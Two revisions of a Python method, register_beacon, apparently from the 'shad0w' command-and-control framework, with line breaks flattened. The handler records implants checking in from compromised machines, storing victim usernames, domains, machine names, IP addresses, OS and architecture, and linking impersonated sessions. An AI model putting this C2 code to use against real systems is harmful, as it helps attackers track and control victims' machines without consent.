def register_beacon(self, request): # register a new beacon # get the info from the initial request an store it # just ignore if the request isnt correct if request.method == "POST": username = request.form.get("username") domain = request.form.get("domain") machine = request.form.get("machine") if username and machine and domain: beacon_id = tools.generate_beacon_id() # init the new beacons dict self.shad0w.beacons[beacon_id] = {} # increase the beacon count + set beacon num self.shad0w.beacon_count += 1 self.shad0w.beacons[beacon_id][ "num"] = self.shad0w.beacon_count # store basic info about beacon self.shad0w.beacons[beacon_id]["domain"] = domain self.shad0w.beacons[beacon_id]["machine"] = machine self.shad0w.beacons[beacon_id]["username"] = username self.shad0w.beacons[beacon_id]["last_checkin"] = str( datetime.now()) # send everytime it checks in, tells it whether to die of not self.shad0w.beacons[beacon_id]["stay_alive"] = True # let the user know whats happening if domain != "NULL": self.shad0w.debug.log( f"Beacon: {domain}\\{username}@{machine} registered", log=True) else: self.shad0w.debug.log( f"Beacon: {username}@{machine} registered", log=True) # give the beacon there id, this is how we will identify them now return self.builder.build(beacon_id=beacon_id, id=beacon_id) else: self.shad0w.debug.log("invalid register request") return self.builder.build(blank=True) else: self.shad0w.debug.log("invaild http method for register") return self.builder.build(blank=True)
def register_beacon(self, request): # register a new beacon # get the info from the initial request an store it # just ignore if the request isnt correct if request.method == "POST": username = request.form.get("username") domain = request.form.get("domain") machine = request.form.get("machine") arch = request.form.get("arch") opsystem = request.form.get("os") secure = request.form.get("secure") impersonate = request.form.get("impersonate") if username and machine and domain: beacon_id = tools.generate_beacon_id() # init the new beacons dict self.shad0w.beacons[beacon_id] = {} # setup the file serve dict self.shad0w.beacons[beacon_id]["serve"] = {} # add the ip to that dict self.shad0w.beacons[beacon_id]["ip_addr"] = request.remote_addr # increase the beacon count + set beacon num self.shad0w.beacon_count += 1 self.shad0w.beacons[beacon_id][ "num"] = self.shad0w.beacon_count # store basic info about beacon self.shad0w.beacons[beacon_id]["domain"] = domain self.shad0w.beacons[beacon_id]["machine"] = machine self.shad0w.beacons[beacon_id]["username"] = username self.shad0w.beacons[beacon_id]["arch"] = arch self.shad0w.beacons[beacon_id]["os"] = opsystem self.shad0w.beacons[beacon_id]["impersonate"] = None # if we are impersonating a session then tell that beacon if str(impersonate) != "None": self.shad0w.beacons[impersonate]["impersonate"] = beacon_id if secure == "SECURE": self.shad0w.beacons[beacon_id]["secure"] = True else: self.shad0w.beacons[beacon_id]["secure"] = False self.shad0w.beacons[beacon_id]["last_checkin"] = str( datetime.now()) self.shad0w.beacons[beacon_id][ "last_checkin_raw"] = datetime.now() # send everytime it checks in, tells it whether to die of not self.shad0w.beacons[beacon_id]["stay_alive"] = True # let the user know whats happening if str(impersonate) == "None": if domain != "NULL": self.shad0w.debug.log( f"Beacon: {domain}\\{username}@{machine} (ARCH: {arch}, OS: {opsystem}, Type: {secure})", log=True) else: self.shad0w.debug.log( f"Beacon: {username}@{machine} (ARCH: {arch}, OS: {opsystem}, Type: {secure})", log=True) # give the beacon there id, this is how we will identify them now return self.builder.build(beacon_id=beacon_id, id=beacon_id) else: self.shad0w.debug.log("invalid register request") return self.builder.build(blank=True) else: self.shad0w.debug.log("invaild http method for register") return self.builder.build(blank=True)